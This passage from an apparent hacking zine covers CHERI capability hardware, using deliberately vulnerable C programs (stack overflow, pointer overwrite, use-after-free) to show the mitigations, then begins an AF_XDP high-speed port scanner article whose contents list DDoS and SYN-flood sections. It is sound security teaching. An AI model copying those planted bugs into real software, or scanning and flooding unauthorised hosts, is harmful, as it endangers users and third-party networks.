+‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑

|T| Permi‑ | Object | Bounds |Flags| Value |

| | ssions | Type | (Upper) | |

+‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑

* First comes the `T` bit which is the "tag bit" that we were talking about earlier. This is the bit that indicates whether value in the register is a valid capability or not. The architecture specifies that this bit isn't actually loadable in the normal sense (being bit 128, it's really the 129th bit yet we can only load 128‑bits into a register), but instead comes from the corresponding tag bit that the memory controller is responsible for providing during loads/stores. This bit CAN be set by the CPU using special instructions, for example when a new capability is being created intentionally.

* Next up are the "Permissions" bits, of which there are 18 defined. The format is as follows:

+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Bit | Permission | Meaning

+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 17 | Load | Can load bytes from memory | | 16 | Store | Can store bytes into memory | | 15 | Execute | Can fetch instructions from memory | | 14 | LoadCap | Can load a capability to a register | | 13 | StoreCap | Can store a capability from a register | | 12 | StoreLocalCap | Can store a "local" (see "Global" below) | | | | capability from a register | | 11 | Seal | Can "seal" an unsealed capability | | 10 | Unseal | Can "unseal" a sealed capability | | 9 | System | Can access system registers | | 8 | BranchSealedPair | Can be used by a "branch sealed pair" |

| | | instruction |

| 7 | CompartmentID | Indicates that this capability is a |

| | | "compartment" ID |

| 6 | MutableLoad | Loading a capability using a capability without| | | | this bit will clear the Store* and MutableLoad |

| | | permissions |

| 5‑2 | User[3:0] | Software‑defined |

| 1 | Executive | Indicates an instruction fetch executes in | | | | executive vs restrictive mode (visibility of |

| | | global registers) |

| 0 | Global | Indicates whether this capability is local/ |

| | | global

+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are a couple of terms in the above table that we haven't covered yet (and some we won't cover). Don't worry too much for now, if we don't cover it in this article, by the time you reach the end, you'll be able to go and research into them further.

* Following the permissions is the "ObjectType" (15 bits) which indicates whether and how a capability is "sealed". A sealed capability is one that is valid (i.e. it is recognised as a capability), but is not allowed to be used (apart from being unsealed). This is useful, for example, when passing capabilities between different contexts or threads. The use of sealed capabilities is important in "CHERI compartmentalisation". Associating an ObjectType with a sealed capability allows for finer granularity in identifying sealed capabilities with "types".

* The encoding of the "Bounds" field is pretty complex. If you want to read up on it yourself, you can [3; Section 2.5.1], but for the purposes of this article, suffice to say that the bounds field potentially takes up 87 bits and overlaps with the value and flags fields. Determining the bounds of a capability depends on the context.

* The "Flags" field is just 8 bits and is up to the user to device if and how to use. There are CHERI instructions like `BICFLG` for Aarch64 (bitwise clear immediate on flags) for operating directly on this field without clearing the tag bit.

* Lastly, the "Value" field comprises the lower 64 bits of the capability. As the name indicates, this is the actual value that we think of numerically being stored in the register. It could be an integer (in the case where we have data rather than a capability) or a memory address (in the event where we DO have a capability).

This all may seem like a lot but, as you'll see in our examples, we really don't need to spend any time decoding capabilities manually, and any information that we *do* need is very easy to extract.

## Vulnerable Programs

### A Simple Stack Buffer Overflow

Let's start by trying to exploit the canonical stack buffer overflow, we'll call it `stack.c`:

```

#include <stdio.h>

#include <string.h>

void __attribute__((noinline)) overflow(char* src) {

char buffer[16];

printf("buffer @ %#p\n", (char*)&buffer);

strcpy(buffer, src);

}

int main(int argc, char** argv) {

if (argc >= 2) {

printf("Calling overflow()\n");

overflow(argv[1]);

printf("Returned from overflow()\n");

}

return 0;

}

```

Two things to notice briefly:

* We use the `noinline` attribute on `overflow()` to prevent Clang from optimising out the function call.

* When we print `&buffer` (which is a CAPABILITY), we use the `%#p` format specifier. This is specific to the CHERI SDK and will print the metadata about the capability in a pretty way.

We can compile and upload this with: `./build.sh stack.c stack`. Over in the VM, we should now have a `~/vuln/stack` binary waiting for us. The program itself should be fairly obvious ‑ passing an argument of more than 16 bytes will overflow the `buffer` array in the `overflow()` function... *or will it?*. Let's run it and see what happens!

```

root@cheribsd‑morello‑purecap:~/vuln # ./stack 01234

Calling overflow()

buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0‑0xfffffff7ff00] Returned from overflow()

```

Let's dissect this as it's our first actual capability:

```

buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0‑0xfffffff7ff00]

| | |

| | +‑‑‑‑‑‑‑‑‑The range that the capability is

| | valid for.

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑The permissions: lower‑case are

| for data, upper‑case for

| capabilities.

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑The "pointer"‑component.

```

So, we can see that `&buffer` is bounded to only be able to access bytes in the range `0xfffffff7fef0‑0xfffffff7ff00`, which matches the size of the `buffer` array in our program: 16 bytes. Furthermore, this capability can be used to read and write both data and capabilities from this range, but notably it *cannot fetch instructions*. Let's see what happens if we try to run the program again, but supply it enough bytes to overflow `buffer`:

```

root@cheribsd‑morello‑purecap:~/vuln # ./stack 0123456789abcdef Calling overflow()

buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0‑0xfffffff7ff00] In‑address space security exception (core dumped)

```

Hmm, okay ‑ we crashed. Not entirely unexpected, but let's find out why. Fortunately we built GDB for CheriBSD so we can take a look at the coredump that got generated.

```

root@cheribsd‑morello‑purecap:~/vuln # gdb ‑q ./stack stack.core Reading symbols from ./stack...

[New LWP 100085]

Core was generated by `./stack 0123456789abcdef'.

Program terminated with signal SIGPROT, CHERI protection violation. Capability bounds fault.

#0 0x000000004037c7f8 in strcpy (to=0xfffffff7ff00 [rwRW,0xfffffff7fef00xfffffff7ff00] "\210\375\367\277\377\377", from=<optimized out>) at /home/user/cheri/cheribsd/lib/libc/string/strcpy.c:48

```

As we may have guessed, our call to `strcpy()` triggered a CHERI exception, and that's why the kernel killed our process. We can disassemble the `overflow` function in GDB to get a closer look at the CHERI‑augmented Aarch64 instructions. However, it's probably easier for us to do this analysis outside of CheriBSD. Fortunately, when we built the Morello SDK, a version of binutils was compiled with Aarch64 CHERI support which lives in `~/cheri/output/morello‑sdk/bin/`. If you prefer to disassemble your compiled binaries outside of the VM, then `objdump` in this directory will work as expected. Alternatively, you can just `disas overflow` in GDB if you prefer.

```

00000000000108e0 <overflow>:

108e0: 028183ff sub csp, csp, #96

108e4: 42827bfd stp c29, c30, [csp, #64]

108e8: 020103fd add c29, csp, #64

108ec: 020083e1 add c1, csp, #32

108f0: c2c83821 scbnds c1, c1, #16 // =16

108f4: c20007e1 str c1, [csp, #16]

108f8: a21f03a0 stur c0, [c29, #‑16]

108fc: c2c1d3e0 mov c0, csp

10900: c2000001 str c1, [c0, #0]

10904: c2c83809 scbnds c9, c0, #16 // =16

10908: 90800080 adrp c0, 0x20000 <main+0x18>

1090c: c2428400 ldr c0, [c0, #2576]

10910: 94000034 bl 0x109e0 <printf@plt>

10914: c24007e0 ldr c0, [csp, #16]

10918: a25f03a1 ldur c1, [c29, #‑16]

1091c: 94000035 bl 0x109f0 <strcpy@plt>

10920: 42c27bfd ldp c29, c30, [csp, #64]

10924: 020183ff add csp, csp, #96

10928: c2c253c0 ret c30

1092c: d503201f nop

```

Now, even if your somewhat familiar with Aarch64 assembly, this probably looks quite strange to you. Not to worry ‑ this really is Aarch64 assembly, but just has a few extras added on. Seeing as this is our first crash in CHERI code, let's walk through what's going on.

The first four instructions in the prologue to `overflow()` at first appear to be pretty familiar; namely `sub`, `stp` and two `add`s. However, upon closer inspection we see that the registers in these instructions aren't the familiar Aarch64 ones. Instead, they've been replaced by `c`‑variants, which are the CHERI‑ised double‑width versions that we've already talked about. As you might expect, `csp` is the "CHERI stack pointer" and `c1`, `c29`, `c30`, etc are just CHERI versions of `x1`, `x29`, `x30`, and so on. The CHERI forms of most of the usual Aarch64 instructions continue to behave in the natural way: `add c29, csp, #64` will add the immediate `64` to `csp` and store the result in `c29`. Remember that the ALU still only works with 64‑bit integers, so the capability metadata part of the registers isn't included in the addition. However, the CPU will automatically preserve the tag bit when necessary (for example when a program intentionally performs pointer arithmetic on a capability). This is an important point to keep in mind ‑ manipulation of capabilities that are already in registers *doesn't clear the tag bit*.

Then, at `0x108f0` we encounter our first truly CHERI‑unique instruction: `scbnds c1, c1, #16`. The SCBNDS mnemonic is short for "Set CHERI Bounds" and with that knowledge you can maybe guess that this instruction sets the capability bounds on register `c1` (which is computed as a 32‑byte offset from the stack pointer `csp` in the instruction just prior) to the immediate `16`. In the context of our program, that makes perfect sense: in `overflow()` we declared an array of `char`s called `buffer` on the stack to be exactly `16` bytes in size. All in all, the `buffer` capability ends up being stored in register `c1` after the instruction at `0x108f0` executes.

And with that, the rest of the disassembly of `overflow()` should largely make more sense now! Just remember that for most instructions, there's nothing particularly strange about the `c`‑registers as the only thing that matters is the "value" field. We only need to really consider the capability nature of the values stored in registers when doing memory operations. Taking a closer look at the crashed `stack` program in GDB we can better understand what goes wrong:

```

root@cheribsd‑morello‑purecap:~/vuln # gdb ‑q ./stack ‑‑args stack \ 0123456789abcdef

Reading symbols from stack...

(gdb) r

Starting program: /root/vuln/stack 0123456789abcdef

Calling overflow()

buffer @ 0xfffffff7fef0 [rwRW,0xfffffff7fef0‑0xfffffff7ff00]

Program received signal SIGPROT, CHERI protection violation. Capability bounds fault.

0x000000004037c7f8 in strcpy (to=0xfffffff7ff00 [rwRW,0xfffffff7fef00xfffffff7ff00] "q\375\367\277\377\377", from=<optimized out>) at /home/user/cheri/cheribsd/lib/libc/string/strcpy.c:48

(gdb) x/i $pcc

=> 0x4037c7f8 <strcpy+24>: strb w8, [c2], #1

(gdb) i r w8 c2

w8 0x0 0

c2 0xdc5d40007f00fef00000fffffff7ff00 0xfffffff7ff00 [rwRW, 0xfffffff7fef0‑0xfffffff7ff00]

```

We already knew to expect a crash in `strcpy()`, but looking at the exact instruction that caused the CHERI fault we see that it's a store of the byte `0x00` (the NULL byte at the end of the 16 character string we passed as the program argument) to the capability in `c2`. Examining that capability (which GDB helpfully expands for us) we see that the VALUE is `0xfffffff7ff00`, but the BOUNDS are `0xfffffff7fef0‑0xfffffff7ff00`, i.e. we're trying to store a byte at the memory location that is just beyond the range that our capability permits us to access!

### Capability Overwrites

We can perhaps be a little craftier in our vulnerable program. Instead of writing out‑of‑bounds, what if we intentionally write a program that let's us modify a pointer. While this program might look silly, I expect many people reading this have found themselves in a situation where their only primitive was being able to partially overwrite a pointer. I'm going to call this file `partial.c`.

```

#include <stdio.h>

#include <string.h>

void __attribute__((noinline)) some_func(void) { printf("inside some_func()\n");

}

int main(int argc, char** argv) {

void (*func_ptr)(void) = &some_func;

if (argc >= 2) {

strcpy((char*)&func_ptr, argv[1]);

}

printf("Calling `func_ptr()` @ %#p\n", func_ptr); func_ptr();

return 0;

}

```

Building this from our `vuln` directory with `./build.sh partial.c partial` and hopping back into the CheriBSD VM, we can start exploring. This time around, we'll explicitly keep our inputs small to avoid triggering an outof‑bounds write. The size of `func_ptr` itself will be 16 bytes (because it's a capability), so the capability `&func_ptr` that gets passed to `strcpy()` will have a bounds of 16 bytes. Therefore we should keep our inputs smaller than this to make sure we're exploring new functionality and not running into the same crash that we had with `stack`.

Before diving straight in, let's think for a moment about what kind of crash we should expect based on our current understanding. As explained above, as long as we keep our inputs less than 16 bytes, we won't run into the same error as with `./stack`. In fact, we should expect that the call to `strcpy()` should return without any drama. However, the `strcpy()` isn't without its importance this time around because it will have written to a capability which we will then dereference by calling `func_ptr()` at the end of `main()`.

If the memory controller is doing what it's supposed to, then it will have cleared the tag bit from the capability corresponding to `func_ptr` when `strcpy()` overwrites part of it. Okay, enough hypothesising ‑ let's run this without an argument to see the `func_ptr` capability before it gets overwritten.

```

root@cheribsd‑morello‑purecap:~/vuln # ./partial

Calling `func_ptr()` @ 0x1108b1 [rxR,0x100000‑0x130c80] (sentry) inside some_func()

```

So the `func_ptr` capability has a value of `0x1108b1`, is valid for the bounds `0x00000‑0x130c80` and can be used to both read and fetch bytes (the lower‑case "rx") as well as read capabilities (the upper‑case "R"). Now let's run `partial` again but this time with an argument:

```

root@cheribsd‑morello‑purecap:~/vuln # ./partial A

Calling `func_ptr()` @ 0x110041 [rxR,0x100000‑0x130c80] (invalid,sentry) In‑address space security exception (core dumped)

```

Aha! Notice how the low bytes of the value field changed from `0xb108` to `0x4100` ‑ the "A" (followed by a NUL) we passed as an argument successfully overwrote the capability, but the tag bit got cleared in the process. Notice how the `%#p` specifier helpfully adds the word "invalid" to the formatting of the `func_ptr` capability now. If we wanted to, we could overwrite the entirety of the `func_ptr` capability and STILL not be able to prevent the tag bit from being cleared. No matter what we do in this example, modifying the capability using user input, forces the capability to be treated as data.

In summary, the CPU once again threw an exception at us, but this time it was ultimately because we tried to dereference the capability in `pcc` (remember ‑ this is the CHERI version of `pc`) after the tag bit had been cleared. We were able to successfully return from `strcpy()` because we didn't overflow the bounds of the capability that was used to write to the `func_ptr` object. However, in doing so, the memory controller cleared the corresponding tag bit for the `func_ptr` capability, meaning that it was no longer valid! When we then tried to call `func_ptr()`, `pcc` still gets set to the now invalid capability, but as soon as the CPU tries to fetch an instruction from the address that `pcc` now points to, the exception gets thrown.

Pretty cool, huh? Hopefully these two examples demonstrate how CHERI can help to mitigate two very common avenues of attack that academics refer to as "spatial memory safety issues". Here, "spatial" refers to the fact that we're modifying memory that we're not supposed to, "beyond the space/region that the program expects". At this point, it's worth mentioning something that's missing from this picture ‑ if you've been following along at home you might have already noticed it. If you run the second example above a few times *without passing any argument*, you'll see the address of `some_func` printed out a few times. Notice anything strange? That's right ‑ there's no ASLR on this system. The thought behind this appears to be that because you can't forge capabilities, why does the memory layout need to be randomised at all? Does knowing the virtual memory locations of *anything* help you anymore with regards to exploitation? Are information leaks still a concern (assuming you're only leaking capabilities)?

If you know anything about academics, then you're probably suspecting that labeling something as "spatial memory safety" means that there's another type of memory safety to think about. In our case, we should also consider "temporal memory safety issues". These are vulnerabilities that occur when the contents of memory changes at different times in ways that the programmer didn't intend, and therefore the *program* doesn't expect. Think of things like use‑after‑free, or perhaps even type‑confusion. Personally, I'm not a fan of categorising memory corruption issues into these two camps because I feel like there's too much grey area, but we'll proceed with it for now as it's what the CHERI literature uses.

### Use‑After‑Free

If you've written a UAF exploit or similar in the past, then you'll know that exploits in this realm depend heavily on the allocator due to the objects of interest being on the heap (objects on the stack are typically more "permanent" so are drastically less likely to have their contents switched out from under the program's nose during execution). A CHERI system is no exception and temporal memory protections come from the use of a "CHERI‑hardened" allocator [4]. The current research in this field describes an allocator that employs a concept referred to as "quarantining" to protect freed allocations from being reused.

The idea of a quarantining allocator is reasonably straightforward: when a heap chunk is freed, it goes into a quarantine list where it cannot be re‑allocated. Later, the quarantine list can be cleaned up by removing the tag bit from all the capabilities in the list before returning them to the pool of free chunks.

In my view, I don't quite see why this idea of quarantining should be preferred over zeroing memory as part of the free operation as this would also have the added benefit of removing the tag bit from any capabilities that were contained *within* the allocation (for example, if a struct containing function pointers was allocated on the heap) and therefore preventing legitimate capabilities from possibly being re‑used at a later time. Perhaps the reasoning is to do with memory latency again and the cost of zeroing arbitrarily large memory regions during `free()`.

Let's see an example of the quarantining allocator in action:

```

#include <stdio.h>

#include <stdlib.h>

int main(void) {

void* ptr = NULL;

ptr = malloc(64);

printf("ptr @ %#p\n", ptr);

free(ptr);

ptr = malloc(64);

printf("ptr @ %#p\n", ptr);

free(ptr);

return 0;

}

```

On a non‑CHERI system, we'd typically expect to see the same address printed each time for `ptr`, despite the fact that we've free'd and malloc'd in between the calls to `printf`. However, in our CheriBSD VM, we see:

```

root@cheribsd‑morello‑purecap:~/vuln # ./heap1

ptr @ 0x40c0f000 [rwRW,0x40c0f000‑0x40c0f040]

ptr @ 0x40c0f040 [rwRW,0x40c0f040‑0x40c0f080]

```

Notice how the `ptr` capability changes ‑ in fact the second capability is always 64 bytes after the first. This is because, despite freeing `ptr`, the memory it pointed to has been quarantined. The next time we try to allocate something, we get the next free *non‑quarantined* chunk which happens to be immediately after the first chunk that we got.

How does any of this affect exploitation? Well, let's try to concoct a very simple use‑after‑free example to see if and how CHERI complains to us:

```

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(void) {

char* ptr1 = malloc(64);

strcpy(ptr1, "CHERI1");

free(ptr1);

/* Leave this commented out for, we'll come back to it afterwards */

//malloc_revoke();

char* ptr2 = malloc(64);

strcpy(ptr2, "CHERI2");

free(ptr2);

printf("ptr1 @ %#p => %s\n", ptr1, ptr1);

printf("ptr2 @ %#p => %s\n", ptr2, ptr2);

return 0;

}

```

On a non‑CHERI system, the behaviour of the above program depends on the allocator. On my host system, the addresses allocated for both `ptr1` and `ptr2` are the same, but contain junk data by the time `printf` is called. On a different system with a different allocator, the strings `CHERI1` and `CHERI2` might still be present. However, in the CheriBSD VM, we see:

```

root@cheribsd‑morello‑purecap:~/vuln # ./heap2

ptr1 @ 0x40c0f000 [rwRW,0x40c0f000‑0x40c0f040] => CHERI1

ptr2 @ 0x40c0f040 [rwRW,0x40c0f040‑0x40c0f080] => CHERI2

```

In particular, notice how `ptr1` and `ptr2` DO NOT have the same value despite `ptr2` being allocated after `ptr1` was freed. This is the quarantining allocator at work again. Notice also that the `CHERI1` and `CHERI2` strings are still in place. This tells us that the call to `free()` *doesn't clear the tag bit from the pointers that are passed to it*.

If we now uncomment the call to `malloc_revoke()` between the two allocations, we get a very different result:

```

root@cheribsd‑morello‑purecap:~/vuln # ./heap2

In‑address space security exception (core dumped)

```

Uh, oh ‑ something went wrong. Let's take a look in GDB to see what happened.

```

root@cheribsd‑morello‑purecap:~/vuln # gdb ‑q ./heap2 heap2.core Reading symbols from ./heap2...

[New LWP 100064]

Core was generated by `./heap2'.

Program terminated with signal SIGPROT, CHERI protection violation. Capability tag fault.

#0 strlen (str=0x40c0f000 [rwRW,0x40c0f000‑0x40c0f040] (invalid) "CHERI2") at /home/user/cheri/cheribsd/lib/libc/string/strlen.c:143

```

So what did that `malloc_revoke()` function do? This is a function provided by the CHERI SDK that forces a cleanup of the quarantine list in the allocator. This means that the capability corresponding to `ptr1` has its tag bit cleared. From the CHERI man pages [5], `malloc_revoke()` "triggers a full flush of the quarantine and scan of memory to ensure that all references to memory previously quarantined by free(3) or realloc(3) are revoked upon successful return". Ultimately, we can see that `strlen()` was called (presumably by `printf()` due to the `%s` format specifier) with an invalid capability.

## Where next?

I hope you've enjoyed this figurative toe‑dip into CHERI both as a concept, and also after getting our hands dirty with some solid examples. Personally, I think the platform has some solid design ideas that will certainly make classic exploitation techniques harder. I'm hesitant to say that any of those existing techniques have been rendered obsolescent because, as far as I'm aware, CHERI is yet to be battle tested as a security mechanism on a target that's of significant interest to exploit developers; like a flagship smartphone or a games console.

If you'd like to dive deeper into CHERI, then I recommend checking out the Morello documentation more closely [2]. There's also the "CHERI Exercises" repo on GitHub [6] by the CHERI team at Cambridge University which highlights more scenarios where CHERI introduces new complications for exploit writers. This article should give you a solid foundation to be able to tackle those exercises.

Remember that CHERI doesn't stop at Morello with Aarch64! CHERI specifications also exist for MIPS and RISC‑V, with x86_64 in the works too. In particular, there is the CherIoT (CHERI Internet‑Of‑Things) project [7] which uses the RISC‑V CHERI extension to power an IoT platform. This project makes extensive use of the compartmentalisation feature of CHERI that I briefly mentioned earlier in the article. This is a method of process isolation using sealed capabilities without having to separate processes into different memory spaces.

It's also worth taking a look at the output of `./cheribuild.py ‑‑list‑targets` ‑ there are already build definitions for things like Apache, Nginx, KDE Plasma, Wayland, FFmpeg, and even DOOM!

## Closing Thoughts

First of all, if you've made it this far ‑ thank you! I hope you found this read worth your time and that you learnt something ‑ even if it was just to scratch that itch to understand a little better what this CHERI thing is all about. That's certainly why I chose to take a look at it. If CHERI takes off in the consumer space in the future, I think bug hunters and xdevs alike will enjoy the new challenged posed by it. And if it doesn't take off, then it will still remain an interesting experiment that we can continue to play with in VMs.

Obligatory shoutouts go to netspooky, dnoiz, hermit, gren, srsns, bane, remy, computeruser, zeta, chill, buses, rqu, iximeow, ilya, kyo and The Binary Golf Association (you should go play Binary Golf [8]).

## Links and References

[1] https://www.arm.com/architecture/cpu/morello

[2] https://developer.arm.com/documentation/ddi0606/ak

[3] https://github.com/CTSRD‑CHERI/cheribuild

[4] https://ctsrd‑cheri.github.io/cheribsd‑getting‑started/features/

temporal.html

[5] https://man.cheribsd.org/cgi‑bin/man.cgi/dev/malloc_revoke_enabled.3

[6] https://github.com/CTSRD‑CHERI/cheri‑exercises/tree/master

[7] https://cheriot.org/

[8] https://binary.golf/

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 5 ‑ High‑Performance Network Scanning ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ With AF_XDP ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ c3l3si4n ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ Table of contents

0 ‑ Introduction

1 ‑ The Slow Path: Traditional Scanning Methods

1.0 ‑ Per‑Connection Syscall Overhead

1.1 ‑ Inefficient Packet Filtering with AF_PACKET

2 ‑ Kernel Bypass and Fastpath Architectures

2.0 ‑ Full Kernel Bypass: DPDK

2.1 ‑ The Kernel Fastpath: XDP

2.2 ‑ XDP Internals: Actions and Modes

2.3 ‑ AF_XDP: A Zero‑Copy Bridge to Userspace

3 ‑ Building the Scanner

3.0 ‑ Core Design

3.1 ‑ The eBPF Filter Component

3.2 ‑ The Userspace Application

3.2.0 ‑ Setup and Initialization

3.2.1 ‑ The Packet Transmission Loop

3.2.2 ‑ The Packet Reception Loop

4 ‑ Performance Analysis

4.0 ‑ A Note on Benchmarking

4.1 ‑ Head‑to‑Head: AF_XDP vs. masscan

5 ‑ Extending the AF_XDP Framework

5.0 ‑ High‑Speed HTTP/HTTPS Application Fuzzing and L7 DDoS 5.1 ‑ Stateless UDP Fuzzing and DDoS Amplification

5.2 ‑ High‑Entropy SYN Flooding

6 ‑ Caveats and Considerations

7 ‑ Conclusion

8 ‑ References

9 ‑ Source Code

‑‑[ 0 ‑ Introduction

The network scanner has always been a fundamental tool in my arsenal. As network interface speeds have increased, I found my tools were constrained by the overhead of the operating system's kernel network stack. This has become a significant bottleneck when doing internet‑scale scans.

In this article, I describe the method I used to build a high‑performance port scanner using the Linux kernel's eBPF and AF_XDP subsystems. This approach creates a kernel fastpath that bypasses the traditional network stack, allowing my application to interact more directly with the network driver for line‑rate filtering and zero‑copy data transfer.

‑‑[ 1 ‑ The Slow Path: Traditional Scanning Methods

‑‑‑[ 1.0 ‑ Per‑Connection Syscall Overhead

My work began by analyzing the conventional port scanning method, which uses the connect() syscall. For each port, the application creates a socket, initiates a TCP handshake, and waits for the kernel to report the outcome. Every socket() and connect() call is a context switch into the kernel, consuming CPU cycles and introducing significant latency, making it impractical for my purposes.

‑‑‑[ 1.1 ‑ Inefficient Packet Filtering with AF_PACKET

I then examined raw sockets (AF_PACKET), which allow a userspace application to receive raw link‑layer frames, bypassing the kernel's high‑level network stack. While this is an improvement for SYN scanning, it does not provide the performance of a true kernel bypass. Packets are still delivered via the standard kernel data path, which involves overhead from context switches and memory copies for every packet received by the interface. This inherent slowness compared to a direct kernel bypass was unacceptable for my goals.

‑‑[ 2 ‑ Kernel Bypass and Fastpath Architectures

‑‑‑[ 2.0 ‑ Full Kernel Bypass: DPDK

To achieve maximum performance, some frameworks like the Data Plane Development Kit (DPDK) implement a full kernel bypass. They use custom Poll‑Mode Drivers (PMDs) that unbind a network interface from the kernel's control, giving a userspace application exclusive access. While this is very fast, it comes with drawbacks: it requires custom drivers, is invasive to the system, and often requires pinning a CPU core at 100% utilization for polling.

‑‑‑[ 2.1 ‑ The Kernel Fastpath: XDP

It is important to clarify that AF_XDP is not a kernel bypass in the same vein as DPDK. It is a highly efficient kernel fastpath that works in cooperation with existing kernel drivers. My XDP program is an eBPF program attached to a low‑level hook in the network driver, triggered for every incoming packet at the earliest possible point.

‑‑‑[ 2.2 ‑ XDP Internals: Actions and Modes

Once my eBPF program is running at the XDP hook, it can inspect the raw packet data and return a verdict that determines the packet's fate. The primary actions are XDP_PASS, XDP_DROP, XDP_TX, and XDP_REDIRECT. The XDP_REDIRECT action is what allows my program to forward a packet to an AF_XDP socket in userspace.

You can load XDP programs in three modes, which affects performance: ‑ Native XDP: The program is loaded directly by a supported network card driver, providing the highest performance.

‑ Offloaded XDP: The program is offloaded to and executed directly on the NIC hardware, requiring specific SmartNICs.

‑ Generic XDP: The program is hooked later in the kernel's network path, after an sk_buff has been allocated. This mode serves as a fallback for testing or for use on unsupported hardware.

‑‑‑[ 2.3 ‑ AF_XDP: A Zero‑Copy Bridge to Userspace

AF_XDP is the kernel feature I used to create a high‑performance data path between my XDP program and my userspace application. This is achieved through a shared memory region called a UMEM, which I allocate in userspace and register with the kernel. This UMEM is where all my packet data lives. The communication is orchestrated by a set of four single‑producer, singleconsumer rings:

‑ RX Ring: The kernel places descriptors here for incoming packets that my XDP program has redirected.

‑ TX Ring: I place descriptors here for packets I want to send. The kernel picks them up and transmits them.

‑ FILL Ring: I place descriptors for empty UMEM frames on this ring to give the buffers to the kernel for receiving new packets.

‑ COMPLETION Ring: After the kernel has sent a packet from my TX ring, it places the descriptor on this ring to signal that the UMEM frame can be reused.

This architecture allows me to shuttle packets back and forth with the NIC driver while minimizing memory copies and context switches.

‑‑[ 3 ‑ Building the Scanner

‑‑‑[ 3.0 ‑ Core Design

My demonstration scanner is composed of two primary components: an eBPF+XDP filter in C and a userspace packet sender in Go. The core design separates the logic for efficiency. My eBPF filter is loaded onto the NIC to inspect incoming TCP packets and redirect only the replies relevant to the scanner. My Go application then manages the AF_XDP socket, populates the FILL ring, sends SYN packets via the TX ring, and processes the replies from the RX ring. This division of labor places the performance‑critical filtering in the kernel, while I handle the more complex state and I/O logic in userspace.

‑‑‑[ 3.1 ‑ The eBPF Filter Component

My eBPF code is designed for efficiency and simplicity.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// file: bpf/xdp_filter.c

#include <linux/bpf.h>

#include <bpf/bpf_helpers.h>

#include <linux/if_ether.h>

#include <linux/ip.h>

#include <linux/tcp.h>

// This MUST match the ‑srcport flag in my Go program.

#define FILTER_PORT 54321

// Map to hold the file descriptor of my AF_XDP socket.

struct {

__uint(type, BPF_MAP_TYPE_XSKMAP); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32)); __uint(max_entries, 1);

} xsks_map SEC(".maps");

SEC("xdp")

int xdp_port_filter(struct xdp_md *ctx) {

void *data_end = (void *)(long)ctx‑>data_end;

void *data = (void *)(long)ctx‑>data;

struct iphdr *ip = data + sizeof(struct ethhdr);

struct tcphdr *tcp;

if ((void*)ip + sizeof(*ip) > data_end)

return XDP_PASS;

if (ip‑>protocol != IPPROTO_TCP)

return XDP_PASS;

tcp = (void *)ip + ip‑>ihl * 4;

if ((void *)tcp + sizeof(*tcp) > data_end)

return XDP_PASS;

if (tcp‑>dest == bpf_htons(FILTER_PORT))

return bpf_redirect_map(&xsks_map, 0, 0);

return XDP_PASS;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 3.2 ‑ The Userspace Application

The PoC Go application orchestrates the entire scanning process.

‑‑‑‑[ 3.2.0 ‑ Setup and Initialization

Before any packets fly, a sequence of setup steps must be performed. First, I parse the arguments for the interface, targets, and ports. Then, I load my compiled xdp_filter.o program and attach it to the specified interface. The core setup involves creating the AF_XDP socket, then allocating and registering the UMEM via the XDP_UMEM_REG setsockopt call. Following that, I set the sizes of the four rings and mmap them into my application's address space. With the socket ready, I register its file descriptor into the eBPF map so the kernel knows where to redirect packets. Finally, since my tool operates at Layer 2, I must manually resolve the gateway's MAC address via ARP.

‑‑‑‑[ 3.2.1 ‑ The Packet Transmission Loop

Instead of sending packets one by one, we can send packets in large batches to amortize the cost of syscalls.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// file: cmd/portscanner/main.go (conceptual)

// A template packet is pre‑crafted to avoid building from scratch every

time

packer, _ := newSynPacker(srcMAC, gatewayMAC, srcIP, srcPort)

// Ensure COMPLETION ring is checked to reclaim UMEM frames for reuse

check_completion_ring_and_refill_umem();

for outstandingCount > 0 {

numFree := xsk.NumFreeTxSlots()

if numFree > 0 {

